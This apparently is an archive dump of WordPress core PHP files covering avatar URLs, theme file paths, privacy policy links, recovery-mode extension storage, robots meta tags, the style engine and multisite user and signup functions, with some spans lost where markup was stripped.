'id', (int) $id_or_email->user_id ); } if ( ( ! $user || is_wp_error( $user ) ) && ! empty( $id_or_email->comment_author_email ) ) { $email = $id_or_email->comment_author_email; } } if ( ! $email_hash ) { if ( $user ) { $email = $user->user_email; } if ( $email ) { $email_hash = md5( strtolower( trim( $email ) ) ); } } if ( $email_hash ) { $args['found_avatar'] = true; $gravatar_server = hexdec( $email_hash[0] ) % 3; } else { $gravatar_server = rand( 0, 2 ); } $url_args = array( 's' => $args['size'], 'd' => $args['default'], 'f' => $args['force_default'] ? 'y' : false, 'r' => $args['rating'], ); if ( is_ssl() ) { $url = 'https://secure.gravatar.com/avatar/' . $email_hash; } else { $url = sprintf( 'http://%d.gravatar.com/avatar/%s', $gravatar_server, $email_hash ); } $url = add_query_arg( rawurlencode_deep( array_filter( $url_args ) ), set_url_scheme( $url, $args['scheme'] ) ); /** * Filters the avatar URL. * * @since 4.2.0 * * @param string $url The URL of the avatar. * @param mixed $id_or_email The Gravatar to retrieve. Accepts a user ID, Gravatar MD5 hash, * user email, WP_User object, WP_Post object, or WP_Comment object. * @param array $args Arguments passed to get_avatar_data(), after processing. */ $args['url'] = apply_filters( 'get_avatar_url', $url, $id_or_email, $args ); /** * Filters the avatar data. * * @since 4.2.0 * * @param array $args Arguments passed to get_avatar_data(), after processing. * @param mixed $id_or_email The Gravatar to retrieve. Accepts a user ID, Gravatar MD5 hash, * user email, WP_User object, WP_Post object, or WP_Comment object. */ return apply_filters( 'get_avatar_data', $args, $id_or_email ); } /** * Retrieves the URL of a file in the theme. * * Searches in the stylesheet directory before the template directory so themes * which inherit from a parent theme can just override one file. * * @since 4.7.0 * * @param string $file Optional. File to search for in the stylesheet directory. * @return string The URL of the file. */ function get_theme_file_uri( $file = '' ) { $file = ltrim( $file, '/' ); if ( empty( $file ) ) { $url = get_stylesheet_directory_uri(); } elseif ( file_exists( get_stylesheet_directory() . '/' . $file ) ) { $url = get_stylesheet_directory_uri() . '/' . $file; } else { $url = get_template_directory_uri() . '/' . $file; } /** * Filters the URL to a file in the theme. * * @since 4.7.0 * * @param string $url The file URL. * @param string $file The requested file to search for. */ return apply_filters( 'theme_file_uri', $url, $file ); } /** * Retrieves the URL of a file in the parent theme. * * @since 4.7.0 * * @param string $file Optional. File to return the URL for in the template directory. * @return string The URL of the file. */ function get_parent_theme_file_uri( $file = '' ) { $file = ltrim( $file, '/' ); if ( empty( $file ) ) { $url = get_template_directory_uri(); } else { $url = get_template_directory_uri() . '/' . $file; } /** * Filters the URL to a file in the parent theme. * * @since 4.7.0 * * @param string $url The file URL. * @param string $file The requested file to search for. */ return apply_filters( 'parent_theme_file_uri', $url, $file ); } /** * Retrieves the path of a file in the theme. * * Searches in the stylesheet directory before the template directory so themes * which inherit from a parent theme can just override one file. * * @since 4.7.0 * * @param string $file Optional. File to search for in the stylesheet directory. * @return string The path of the file. */ function get_theme_file_path( $file = '' ) { $file = ltrim( $file, '/' ); if ( empty( $file ) ) { $path = get_stylesheet_directory(); } elseif ( file_exists( get_stylesheet_directory() . '/' . $file ) ) { $path = get_stylesheet_directory() . '/' . $file; } else { $path = get_template_directory() . '/' . $file; } /** * Filters the path to a file in the theme. * * @since 4.7.0 * * @param string $path The file path. * @param string $file The requested file to search for. */ return apply_filters( 'theme_file_path', $path, $file ); } /** * Retrieves the path of a file in the parent theme. * * @since 4.7.0 * * @param string $file Optional. File to return the path for in the template directory. * @return string The path of the file. */ function get_parent_theme_file_path( $file = '' ) { $file = ltrim( $file, '/' ); if ( empty( $file ) ) { $path = get_template_directory(); } else { $path = get_template_directory() . '/' . $file; } /** * Filters the path to a file in the parent theme. * * @since 4.7.0 * * @param string $path The file path. * @param string $file The requested file to search for. */ return apply_filters( 'parent_theme_file_path', $path, $file ); } /** * Retrieves the URL to the privacy policy page. * * @since 4.9.6 * * @return string The URL to the privacy policy page. Empty string if it doesn't exist. */ function get_privacy_policy_url() { $url = ''; $policy_page_id = (int) get_option( 'wp_page_for_privacy_policy' ); if ( ! empty( $policy_page_id ) && get_post_status( $policy_page_id ) === 'publish' ) { $url = (string) get_permalink( $policy_page_id ); } /** * Filters the URL of the privacy policy page. * * @since 4.9.6 * * @param string $url The URL to the privacy policy page. Empty string * if it doesn't exist. * @param int $policy_page_id The ID of privacy policy page. */ return apply_filters( 'privacy_policy_url', $url, $policy_page_id ); } /** * Displays the privacy policy link with formatting, when applicable. * * @since 4.9.6 * * @param string $before Optional. Display before privacy policy link. Default empty. * @param string $after Optional. Display after privacy policy link. Default empty. */ function the_privacy_policy_link( $before = '', $after = '' ) { echo get_the_privacy_policy_link( $before, $after ); } /** * Returns the privacy policy link with formatting, when applicable. * * @since 4.9.6 * * @param string $before Optional. Display before privacy policy link. Default empty. * @param string $after Optional. Display after privacy policy link. Default empty. * @return string Markup for the link and surrounding elements. Empty string if it * doesn't exist. */ function get_the_privacy_policy_link( $before = '', $after = '' ) { $link = ''; $privacy_policy_url = get_privacy_policy_url(); $policy_page_id = (int) get_option( 'wp_page_for_privacy_policy' ); $page_title = ( $policy_page_id ) ? get_the_title( $policy_page_id ) : ''; if ( $privacy_policy_url && $page_title ) { $link = sprintf( '%s', esc_url( $privacy_policy_url ), esc_html( $page_title ) ); } /** * Filters the privacy policy link. * * @since 4.9.6 * * @param string $link The privacy policy link. Empty string if it * doesn't exist. * @param string $privacy_policy_url The URL of the privacy policy. Empty string * if it doesn't exist. */ $link = apply_filters( 'the_privacy_policy_link', $link, $privacy_policy_url ); if ( $link ) { return $before . $link . $after; } return ''; } class-wp-paused-extensions-storage.php000064400000011654147177035010014140 0ustar00type = $extension_type; } /** * Records an extension error. * * Only one error is stored per extension, with subsequent errors for the same extension overriding the * previously stored error. * * @since 5.2.0 * * @param string $extension Plugin or theme directory name. * @param array $error { * Error information returned by `error_get_last()`. * * @type int $type The error type. * @type string $file The name of the file in which the error occurred. * @type int $line The line number in which the error occurred. * @type string $message The error message. * } * @return bool True on success, false on failure. */ public function set( $extension, $error ) { if ( ! $this->is_api_loaded() ) { return false; } $option_name = $this->get_option_name(); if ( ! $option_name ) { return false; } $paused_extensions = (array) get_option( $option_name, array() ); // Do not update if the error is already stored. if ( isset( $paused_extensions[ $this->type ][ $extension ] ) && $paused_extensions[ $this->type ][ $extension ] === $error ) { return true; } $paused_extensions[ $this->type ][ $extension ] = $error; return update_option( $option_name, $paused_extensions ); } /** * Forgets a previously recorded extension error. * * @since 5.2.0 * * @param string $extension Plugin or theme directory name. * @return bool True on success, false on failure. */ public function delete( $extension ) { if ( ! $this->is_api_loaded() ) { return false; } $option_name = $this->get_option_name(); if ( ! $option_name ) { return false; } $paused_extensions = (array) get_option( $option_name, array() ); // Do not delete if no error is stored. if ( ! isset( $paused_extensions[ $this->type ][ $extension ] ) ) { return true; } unset( $paused_extensions[ $this->type ][ $extension ] ); if ( empty( $paused_extensions[ $this->type ] ) ) { unset( $paused_extensions[ $this->type ] ); } // Clean up the entire option if we're removing the only error. if ( ! $paused_extensions ) { return delete_option( $option_name ); } return update_option( $option_name, $paused_extensions ); } /** * Gets the error for an extension, if paused. * * @since 5.2.0 * * @param string $extension Plugin or theme directory name. * @return array|null Error that is stored, or null if the extension is not paused. */ public function get( $extension ) { if ( ! $this->is_api_loaded() ) { return null; } $paused_extensions = $this->get_all(); if ( ! isset( $paused_extensions[ $extension ] ) ) { return null; } return $paused_extensions[ $extension ]; } /** * Gets the paused extensions with their errors. * * @since 5.2.0 * * @return array { * Associative array of errors keyed by extension slug. * * @type array ...$0 Error information returned by `error_get_last()`. * } */ public function get_all() { if ( ! $this->is_api_loaded() ) { return array(); } $option_name = $this->get_option_name(); if ( ! $option_name ) { return array(); } $paused_extensions = (array) get_option( $option_name, array() ); return isset( $paused_extensions[ $this->type ] ) ? $paused_extensions[ $this->type ] : array(); } /** * Remove all paused extensions. * * @since 5.2.0 * * @return bool */ public function delete_all() { if ( ! $this->is_api_loaded() ) { return false; } $option_name = $this->get_option_name(); if ( ! $option_name ) { return false; } $paused_extensions = (array) get_option( $option_name, array() ); unset( $paused_extensions[ $this->type ] ); if ( ! $paused_extensions ) { return delete_option( $option_name ); } return update_option( $option_name, $paused_extensions ); } /** * Checks whether the underlying API to store paused extensions is loaded. * * @since 5.2.0 * * @return bool True if the API is loaded, false otherwise. */ protected function is_api_loaded() { return function_exists( 'get_option' ); } /** * Get the option name for storing paused extensions. * * @since 5.2.0 * * @return string */ protected function get_option_name() { if ( ! wp_recovery_mode()->is_active() ) { return ''; } $session_id = wp_recovery_mode()->get_session_id(); if ( empty( $session_id ) ) { return ''; } return "{$session_id}_paused_extensions"; } } robots-template.php000064400000012101147177035010010376 0ustar00 $value ) { if ( is_string( $value ) ) { // If a string value, include it as value for the directive. $robots_strings[] = "{$directive}:{$value}"; } elseif ( $value ) { // Otherwise, include the directive if it is truthy. $robots_strings[] = $directive; } } if ( empty( $robots_strings ) ) { return; } echo "\n"; } /** * Adds `noindex` to the robots meta tag if required by the site configuration. * * If a blog is marked as not being public then noindex will be output to * tell web robots not to index the page content. Add this to the * {@see 'wp_robots'} filter. * * Typical usage is as a {@see 'wp_robots'} callback: * * add_filter( 'wp_robots', 'wp_robots_noindex' ); * * @since 5.7.0 * * @see wp_robots_no_robots() * * @param array $robots Associative array of robots directives. * @return array Filtered robots directives. */ function wp_robots_noindex( array $robots ) { if ( ! get_option( 'blog_public' ) ) { return wp_robots_no_robots( $robots ); } return $robots; } /** * Adds `noindex` to the robots meta tag for embeds. * * Typical usage is as a {@see 'wp_robots'} callback: * * add_filter( 'wp_robots', 'wp_robots_noindex_embeds' ); * * @since 5.7.0 * * @see wp_robots_no_robots() * * @param array $robots Associative array of robots directives. * @return array Filtered robots directives. */ function wp_robots_noindex_embeds( array $robots ) { if ( is_embed() ) { return wp_robots_no_robots( $robots ); } return $robots; } /** * Adds `noindex` to the robots meta tag if a search is being performed. * * If a search is being performed then noindex will be output to * tell web robots not to index the page content. Add this to the * {@see 'wp_robots'} filter. * * Typical usage is as a {@see 'wp_robots'} callback: * * add_filter( 'wp_robots', 'wp_robots_noindex_search' ); * * @since 5.7.0 * * @see wp_robots_no_robots() * * @param array $robots Associative array of robots directives. * @return array Filtered robots directives. */ function wp_robots_noindex_search( array $robots ) { if ( is_search() ) { return wp_robots_no_robots( $robots ); } return $robots; } /** * Adds `noindex` to the robots meta tag. * * This directive tells web robots not to index the page content. * * Typical usage is as a {@see 'wp_robots'} callback: * * add_filter( 'wp_robots', 'wp_robots_no_robots' ); * * @since 5.7.0 * * @param array $robots Associative array of robots directives. * @return array Filtered robots directives. */ function wp_robots_no_robots( array $robots ) { $robots['noindex'] = true; if ( get_option( 'blog_public' ) ) { $robots['follow'] = true; } else { $robots['nofollow'] = true; } return $robots; } /** * Adds `noindex` and `noarchive` to the robots meta tag. * * This directive tells web robots not to index or archive the page content and * is recommended to be used for sensitive pages. * * Typical usage is as a {@see 'wp_robots'} callback: * * add_filter( 'wp_robots', 'wp_robots_sensitive_page' ); * * @since 5.7.0 * * @param array $robots Associative array of robots directives. * @return array Filtered robots directives. */ function wp_robots_sensitive_page( array $robots ) { $robots['noindex'] = true; $robots['noarchive'] = true; return $robots; } /** * Adds `max-image-preview:large` to the robots meta tag. * * This directive tells web robots that large image previews are allowed to be * displayed, e.g. in search engines, unless the blog is marked as not being public. * * Typical usage is as a {@see 'wp_robots'} callback: * * add_filter( 'wp_robots', 'wp_robots_max_image_preview_large' ); * * @since 5.7.0 * * @param array $robots Associative array of robots directives. * @return array Filtered robots directives. */ function wp_robots_max_image_preview_large( array $robots ) { if ( get_option( 'blog_public' ) ) { $robots['max-image-preview'] = 'large'; } return $robots; } style-engine.php000064400000016613147177035010007674 0ustar00 array( 'text' => '#cccccc' ), * ) * ); * * Returns: * * array( * 'css' => 'color: #cccccc', * 'declarations' => array( 'color' => '#cccccc' ), * 'classnames' => 'has-color', * ) * * @since 6.1.0 * * @see https://developer.wordpress.org/block-editor/reference-guides/theme-json-reference/theme-json-living/#styles * @see https://developer.wordpress.org/block-editor/reference-guides/block-api/block-supports/ * * @param array $block_styles The style object. * @param array $options { * Optional. An array of options. Default empty array. * * @type string|null $context An identifier describing the origin of the style object, * e.g. 'block-supports' or 'global-styles'. Default null. * When set, the style engine will attempt to store the CSS rules, * where a selector is also passed. * @type bool $convert_vars_to_classnames Whether to skip converting incoming CSS var patterns, * e.g. `var:preset||`, * to `var( --wp--preset--* )` values. Default false. * @type string $selector Optional. When a selector is passed, * the value of `$css` in the return value will comprise * a full CSS rule `$selector { ...$css_declarations }`, * otherwise, the value will be a concatenated string * of CSS declarations. * } * @return array { * @type string $css A CSS ruleset or declarations block * formatted to be placed in an HTML `style` attribute or tag. * @type string[] $declarations An associative array of CSS definitions, * e.g. `array( "$property" => "$value", "$property" => "$value" )`. * @type string $classnames Classnames separated by a space. * } */ function wp_style_engine_get_styles( $block_styles, $options = array() ) { $options = wp_parse_args( $options, array( 'selector' => null, 'context' => null, 'convert_vars_to_classnames' => false, ) ); $parsed_styles = WP_Style_Engine::parse_block_styles( $block_styles, $options ); // Output. $styles_output = array(); if ( ! empty( $parsed_styles['declarations'] ) ) { $styles_output['css'] = WP_Style_Engine::compile_css( $parsed_styles['declarations'], $options['selector'] ); $styles_output['declarations'] = $parsed_styles['declarations']; if ( ! empty( $options['context'] ) ) { WP_Style_Engine::store_css_rule( $options['context'], $options['selector'], $parsed_styles['declarations'] ); } } if ( ! empty( $parsed_styles['classnames'] ) ) { $styles_output['classnames'] = implode( ' ', array_unique( $parsed_styles['classnames'] ) ); } return array_filter( $styles_output ); } /** * Returns compiled CSS from a collection of selectors and declarations. * Useful for returning a compiled stylesheet from any collection of CSS selector + declarations. * * Example usage: * * $css_rules = array( * array( * 'selector' => '.elephant-are-cool', * 'declarations' => array( * 'color' => 'gray', * 'width' => '3em', * ), * ), * ); * * $css = wp_style_engine_get_stylesheet_from_css_rules( $css_rules ); * * Returns: * * .elephant-are-cool{color:gray;width:3em} * * @since 6.1.0 * @since 6.6.0 Added support for `$rules_group` in the `$css_rules` array. * * @param array $css_rules { * Required. A collection of CSS rules. * * @type array ...$0 { * @type string $rules_group A parent CSS selector in the case of nested CSS, * or a CSS nested @rule, such as `@media (min-width: 80rem)` or `@layer module`. * @type string $selector A CSS selector. * @type string[] $declarations An associative array of CSS definitions, * e.g. `array( "$property" => "$value", "$property" => "$value" )`. * } * } * @param array $options { * Optional. An array of options. Default empty array. * * @type string|null $context An identifier describing the origin of the style object, * e.g. 'block-supports' or 'global-styles'. Default 'block-supports'. * When set, the style engine will attempt to store the CSS rules. * @type bool $optimize Whether to optimize the CSS output, e.g. combine rules. * Default false. * @type bool $prettify Whether to add new lines and indents to output. * Defaults to whether the `SCRIPT_DEBUG` constant is defined. * } * @return string A string of compiled CSS declarations, or empty string. */ function wp_style_engine_get_stylesheet_from_css_rules( $css_rules, $options = array() ) { if ( empty( $css_rules ) ) { return ''; } $options = wp_parse_args( $options, array( 'context' => null, ) ); $css_rule_objects = array(); foreach ( $css_rules as $css_rule ) { if ( empty( $css_rule['selector'] ) || empty( $css_rule['declarations'] ) || ! is_array( $css_rule['declarations'] ) ) { continue; } $rules_group = $css_rule['rules_group'] ?? null; if ( ! empty( $options['context'] ) ) { WP_Style_Engine::store_css_rule( $options['context'], $css_rule['selector'], $css_rule['declarations'], $rules_group ); } $css_rule_objects[] = new WP_Style_Engine_CSS_Rule( $css_rule['selector'], $css_rule['declarations'], $rules_group ); } if ( empty( $css_rule_objects ) ) { return ''; } return WP_Style_Engine::compile_stylesheet_from_css_rules( $css_rule_objects, $options ); } /** * Returns compiled CSS from a store, if found. * * @since 6.1.0 * * @param string $context A valid context name, corresponding to an existing store key. * @param array $options { * Optional. An array of options. Default empty array. * * @type bool $optimize Whether to optimize the CSS output, e.g. combine rules. * Default false. * @type bool $prettify Whether to add new lines and indents to output. * Defaults to whether the `SCRIPT_DEBUG` constant is defined. * } * @return string A compiled CSS string. */ function wp_style_engine_get_stylesheet_from_context( $context, $options = array() ) { return WP_Style_Engine::compile_stylesheet_from_css_rules( WP_Style_Engine::get_store( $context )->get_all_rules(), $options ); } ms-functions.php000064400000267111147177035010007717 0ustar00 get_blog_count(), 'users' => get_user_count(), ); return $stats; } /** * Gets one of a user's active blogs. * * Returns the user's primary blog, if they have one and * it is active. If it's inactive, function returns another * active blog of the user. If none are found, the user * is added as a Subscriber to the Dashboard Blog and that blog * is returned. * * @since MU (3.0.0) * * @param int $user_id The unique ID of the user * @return WP_Site|void The blog object */ function get_active_blog_for_user( $user_id ) { $blogs = get_blogs_of_user( $user_id ); if ( empty( $blogs ) ) { return; } if ( ! is_multisite() ) { return $blogs[ get_current_blog_id() ]; } $primary_blog = get_user_meta( $user_id, 'primary_blog', true ); $first_blog = current( $blogs ); if ( false !== $primary_blog ) { if ( ! isset( $blogs[ $primary_blog ] ) ) { update_user_meta( $user_id, 'primary_blog', $first_blog->userblog_id ); $primary = get_site( $first_blog->userblog_id ); } else { $primary = get_site( $primary_blog ); } } else { // TODO: Review this call to add_user_to_blog too - to get here the user must have a role on this blog? $result = add_user_to_blog( $first_blog->userblog_id, $user_id, 'subscriber' ); if ( ! is_wp_error( $result ) ) { update_user_meta( $user_id, 'primary_blog', $first_blog->userblog_id ); $primary = $first_blog; } } if ( ( ! is_object( $primary ) ) || ( 1 == $primary->archived || 1 == $primary->spam || 1 == $primary->deleted ) ) { $blogs = get_blogs_of_user( $user_id, true ); // If a user's primary blog is shut down, check their other blogs. $ret = false; if ( is_array( $blogs ) && count( $blogs ) > 0 ) { foreach ( (array) $blogs as $blog_id => $blog ) { if ( get_current_network_id() != $blog->site_id ) { continue; } $details = get_site( $blog_id ); if ( is_object( $details ) && 0 == $details->archived && 0 == $details->spam && 0 == $details->deleted ) { $ret = $details; if ( get_user_meta( $user_id, 'primary_blog', true ) != $blog_id ) { update_user_meta( $user_id, 'primary_blog', $blog_id ); } if ( ! get_user_meta( $user_id, 'source_domain', true ) ) { update_user_meta( $user_id, 'source_domain', $details->domain ); } break; } } } else { return; } return $ret; } else { return $primary; } } /** * Gets the number of active sites on the installation. * * The count is cached and updated twice daily. This is not a live count. * * @since MU (3.0.0) * @since 3.7.0 The `$network_id` parameter has been deprecated. * @since 4.8.0 The `$network_id` parameter is now being used. * * @param int|null $network_id ID of the network. Default is the current network. * @return int Number of active sites on the network. */ function get_blog_count( $network_id = null ) { return get_network_option( $network_id, 'blog_count' ); } /** * Gets a blog post from any site on the network. * * This function is similar to get_post(), except that it can retrieve a post * from any site on the network, not just the current site. * * @since MU (3.0.0) * * @param int $blog_id ID of the blog. * @param int $post_id ID of the post being looked for. * @return WP_Post|null WP_Post object on success, null on failure */ function get_blog_post( $blog_id, $post_id ) { switch_to_blog( $blog_id ); $post = get_post( $post_id ); restore_current_blog(); return $post; } /** * Adds a user to a blog, along with specifying the user's role. * * Use the {@see 'add_user_to_blog'} action to fire an event when users are added to a blog. * * @since MU (3.0.0) * * @param int $blog_id ID of the blog the user is being added to. * @param int $user_id ID of the user being added. * @param string $role The role you want the user to have. * @return true|WP_Error True on success or a WP_Error object if the user doesn't exist * or could not be added. */ function add_user_to_blog( $blog_id, $user_id, $role ) { switch_to_blog( $blog_id ); $user = get_userdata( $user_id ); if ( ! $user ) { restore_current_blog(); return new WP_Error( 'user_does_not_exist', __( 'The requested user does not exist.' ) ); } /** * Filters whether a user should be added to a site. * * @since 4.9.0 * * @param true|WP_Error $retval True if the user should be added to the site, error * object otherwise. * @param int $user_id User ID. * @param string $role User role. * @param int $blog_id Site ID. */ $can_add_user = apply_filters( 'can_add_user_to_blog', true, $user_id, $role, $blog_id ); if ( true !== $can_add_user ) { restore_current_blog(); if ( is_wp_error( $can_add_user ) ) { return $can_add_user; } return new WP_Error( 'user_cannot_be_added', __( 'User cannot be added to this site.' ) ); } if ( ! get_user_meta( $user_id, 'primary_blog', true ) ) { update_user_meta( $user_id, 'primary_blog', $blog_id ); $site = get_site( $blog_id ); update_user_meta( $user_id, 'source_domain', $site->domain ); } $user->set_role( $role ); /** * Fires immediately after a user is added to a site. * * @since MU (3.0.0) * * @param int $user_id User ID. * @param string $role User role. * @param int $blog_id Blog ID. */ do_action( 'add_user_to_blog', $user_id, $role, $blog_id ); clean_user_cache( $user_id ); wp_cache_delete( $blog_id . '_user_count', 'blog-details' ); restore_current_blog(); return true; } /** * Removes a user from a blog. * * Use the {@see 'remove_user_from_blog'} action to fire an event when * users are removed from a blog. * * Accepts an optional `$reassign` parameter, if you want to * reassign the user's blog posts to another user upon removal. * * @since MU (3.0.0) * * @global wpdb $wpdb WordPress database abstraction object. * * @param int $user_id ID of the user being removed. * @param int $blog_id Optional. ID of the blog the user is being removed from. Default 0. * @param int $reassign Optional. ID of the user to whom to reassign posts. Default 0. * @return true|WP_Error True on success or a WP_Error object if the user doesn't exist. */ function remove_user_from_blog( $user_id, $blog_id = 0, $reassign = 0 ) { global $wpdb; switch_to_blog( $blog_id ); $user_id = (int) $user_id; /** * Fires before a user is removed from a site. * * @since MU (3.0.0) * @since 5.4.0 Added the `$reassign` parameter. * * @param int $user_id ID of the user being removed. * @param int $blog_id ID of the blog the user is being removed from. * @param int $reassign ID of the user to whom to reassign posts. */ do_action( 'remove_user_from_blog', $user_id, $blog_id, $reassign ); // If being removed from the primary blog, set a new primary // if the user is assigned to multiple blogs. $primary_blog = get_user_meta( $user_id, 'primary_blog', true ); if ( $primary_blog == $blog_id ) { $new_id = ''; $new_domain = ''; $blogs = get_blogs_of_user( $user_id ); foreach ( (array) $blogs as $blog ) { if ( $blog->userblog_id == $blog_id ) { continue; } $new_id = $blog->userblog_id; $new_domain = $blog->domain; break; } update_user_meta( $user_id, 'primary_blog', $new_id ); update_user_meta( $user_id, 'source_domain', $new_domain ); } $user = get_userdata( $user_id ); if ( ! $user ) { restore_current_blog(); return new WP_Error( 'user_does_not_exist', __( 'That user does not exist.' ) ); } $user->remove_all_caps(); $blogs = get_blogs_of_user( $user_id ); if ( count( $blogs ) == 0 ) { update_user_meta( $user_id, 'primary_blog', '' ); update_user_meta( $user_id, 'source_domain', '' ); } if ( $reassign ) { $reassign = (int) $reassign; $post_ids = $wpdb->get_col( $wpdb->prepare( "SELECT ID FROM $wpdb->posts WHERE post_author = %d", $user_id ) ); $link_ids = $wpdb->get_col( $wpdb->prepare( "SELECT link_id FROM $wpdb->links WHERE link_owner = %d", $user_id ) ); if ( ! empty( $post_ids ) ) { $wpdb->query( $wpdb->prepare( "UPDATE $wpdb->posts SET post_author = %d WHERE post_author = %d", $reassign, $user_id ) ); array_walk( $post_ids, 'clean_post_cache' ); } if ( ! empty( $link_ids ) ) { $wpdb->query( $wpdb->prepare( "UPDATE $wpdb->links SET link_owner = %d WHERE link_owner = %d", $reassign, $user_id ) ); array_walk( $link_ids, 'clean_bookmark_cache' ); } } restore_current_blog(); return true; } /** * Gets the permalink for a post on another blog. * * @since MU (3.0.0) 1.0 * * @param int $blog_id ID of the source blog. * @param int $post_id ID of the desired post. * @return string The post's permalink */ function get_blog_permalink( $blog_id, $post_id ) { switch_to_blog( $blog_id ); $link = get_permalink( $post_id ); restore_current_blog(); return $link; } /** * Gets a blog's numeric ID from its URL. * * On a subdirectory installation like example.com/blog1/, * $domain will be the root 'example.com' and $path the * subdirectory '/blog1/'. With subdomains like blog1.example.com, * $domain is 'blog1.example.com' and $path is '/'. * * @since MU (3.0.0) * * @global wpdb $wpdb WordPress database abstraction object. * * @param string $domain * @param string $path Optional. Not required for subdomain installations. * @return int 0 if no blog found, otherwise the ID of the matching blog */ function get_blog_id_from_url( $domain, $path = '/' ) { $domain = strtolower( $domain ); $path = strtolower( $path ); $id = wp_cache_get( md5( $domain . $path ), 'blog-id-cache' ); if ( -1 == $id ) { // Blog does not exist. return 0; } elseif ( $id ) { return (int) $id; } $args = array( 'domain' => $domain, 'path' => $path, 'fields' => 'ids', 'number' => 1, 'update_site_meta_cache' => false, ); $result = get_sites( $args ); $id = array_shift( $result ); if ( ! $id ) { wp_cache_set( md5( $domain . $path ), -1, 'blog-id-cache' ); return 0; } wp_cache_set( md5( $domain . $path ), $id, 'blog-id-cache' ); return $id; } // // Admin functions. // /** * Checks an email address against a list of banned domains. * * This function checks against the Banned Email Domains list * at wp-admin/network/settings.php. The check is only run on * self-registrations; user creation at wp-admin/network/users.php * bypasses this check. * * @since MU (3.0.0) * * @param string $user_email The email provided by the user at registration. * @return bool True when the email address is banned, false otherwise. */ function is_email_address_unsafe( $user_email ) { $banned_names = get_site_option( 'banned_email_domains' ); if ( $banned_names && ! is_array( $banned_names ) ) { $banned_names = explode( "\n", $banned_names ); } $is_email_address_unsafe = false; if ( $banned_names && is_array( $banned_names ) && false !== strpos( $user_email, '@', 1 ) ) { $banned_names = array_map( 'strtolower', $banned_names ); $normalized_email = strtolower( $user_email ); list( $email_local_part, $email_domain ) = explode( '@', $normalized_email ); foreach ( $banned_names as $banned_domain ) { if ( ! $banned_domain ) { continue; } if ( $email_domain == $banned_domain ) { $is_email_address_unsafe = true; break; } $dotted_domain = ".$banned_domain"; if ( substr( $normalized_email, -strlen( $dotted_domain ) ) === $dotted_domain ) { $is_email_address_unsafe = true; break; } } } /** * Filters whether an email address is unsafe. * * @since 3.5.0 * * @param bool $is_email_address_unsafe Whether the email address is "unsafe". Default false. * @param string $user_email User email address. */ return apply_filters( 'is_email_address_unsafe', $is_email_address_unsafe, $user_email ); } /** * Sanitizes and validates data required for a user sign-up. * * Verifies the validity and uniqueness of user names and user email addresses, * and checks email addresses against allowed and disallowed domains provided by * administrators. * * The {@see 'wpmu_validate_user_signup'} hook provides an easy way to modify the sign-up * process. The value $result, which is passed to the hook, contains both the user-provided * info and the error messages created by the function. {@see 'wpmu_validate_user_signup'} * allows you to process the data in any way you'd like, and unset the relevant errors if * necessary. * * @since MU (3.0.0) * * @global wpdb $wpdb WordPress database abstraction object. * * @param string $user_name The login name provided by the user. * @param string $user_email The email provided by the user. * @return array { * The array of user name, email, and the error messages. * * @type string $user_name Sanitized and unique username. * @type string $orig_username Original username. * @type string $user_email User email address. * @type WP_Error $errors WP_Error object containing any errors found. * } */ function wpmu_validate_user_signup( $user_name, $user_email ) { global $wpdb; $errors = new WP_Error(); $orig_username = $user_name; $user_name = preg_replace( '/\s+/', '', sanitize_user( $user_name, true ) ); if ( $user_name != $orig_username || preg_match( '/[^a-z0-9]/', $user_name ) ) { $errors->add( 'user_name', __( 'Usernames can only contain lowercase letters (a-z) and numbers.' ) ); $user_name = $orig_username; } $user_email = sanitize_email( $user_email ); if ( empty( $user_name ) ) { $errors->add( 'user_name', __( 'Please enter a username.' ) ); } $illegal_names = get_site_option( 'illegal_names' ); if ( ! is_array( $illegal_names ) ) { $illegal_names = array( 'www', 'web', 'root', 'admin', 'main', 'invite', 'administrator' ); add_site_option( 'illegal_names', $illegal_names ); } if ( in_array( $user_name, $illegal_names, true ) ) { $errors->add( 'user_name', __( 'Sorry, that username is not allowed.' ) ); } /** This filter is documented in wp-includes/user.php */ $illegal_logins = (array) apply_filters( 'illegal_user_logins', array() ); if ( in_array( strtolower( $user_name ), array_map( 'strtolower', $illegal_logins ), true ) ) { $errors->add( 'user_name', __( 'Sorry, that username is not allowed.' ) ); } if ( ! is_email( $user_email ) ) { $errors->add( 'user_email', __( 'Please enter a valid email address.' ) ); } elseif ( is_email_address_unsafe( $user_email ) ) { $errors->add( 'user_email', __( 'You cannot use that email address to signup. There are problems with them blocking some emails from WordPress. Please use another email provider.' ) ); } if ( strlen( $user_name ) < 4 ) { $errors->add( 'user_name', __( 'Username must be at least 4 characters.' ) ); } if ( strlen( $user_name ) > 60 ) { $errors->add( 'user_name', __( 'Username may not be longer than 60 characters.' ) ); } // All numeric? if ( preg_match( '/^[0-9]*$/', $user_name ) ) { $errors->add( 'user_name', __( 'Sorry, usernames must have letters too!' ) ); } $limited_email_domains = get_site_option( 'limited_email_domains' ); if ( is_array( $limited_email_domains ) && ! empty( $limited_email_domains ) ) { $limited_email_domains = array_map( 'strtolower', $limited_email_domains ); $emaildomain = strtolower( substr( $user_email, 1 + strpos( $user_email, '@' ) ) ); if ( ! in_array( $emaildomain, $limited_email_domains, true ) ) { $errors->add( 'user_email', __( 'Sorry, that email address is not allowed!' ) ); } } // Check if the username has been used already. if ( username_exists( $user_name ) ) { $errors->add( 'user_name', __( 'Sorry, that username already exists!' ) ); } // Check if the email address has been used already. if ( email_exists( $user_email ) ) { $errors->add( 'user_email', sprintf( /* translators: %s: Link to the login page. */ __( 'Error: This email address is already registered. Log in with this address or choose another one.' ), wp_login_url() ) ); } // Has someone already signed up for this username? $signup = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->signups WHERE user_login = %s", $user_name ) ); if ( $signup instanceof stdClass ) { $registered_at = mysql2date( 'U', $signup->registered ); $now = time(); $diff = $now - $registered_at; // If registered more than two days ago, cancel registration and let this signup go through. if ( $diff > 2 * DAY_IN_SECONDS ) { $wpdb->delete( $wpdb->signups, array( 'user_login' => $user_name ) ); } else { $errors->add( 'user_name', __( 'That username is currently reserved but may be available in a couple of days.' ) ); } } $signup = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->signups WHERE user_email = %s", $user_email ) ); if ( $signup instanceof stdClass ) { $diff = time() - mysql2date( 'U', $signup->registered ); // If registered more than two days ago, cancel registration and let this signup go through. if ( $diff > 2 * DAY_IN_SECONDS ) { $wpdb->delete( $wpdb->signups, array( 'user_email' => $user_email ) ); } else { $errors->add( 'user_email', __( 'That email address has already been used. Please check your inbox for an activation email. It will become available in a couple of days if you do nothing.' ) ); } } $result = array( 'user_name' => $user_name, 'orig_username' => $orig_username, 'user_email' => $user_email, 'errors' => 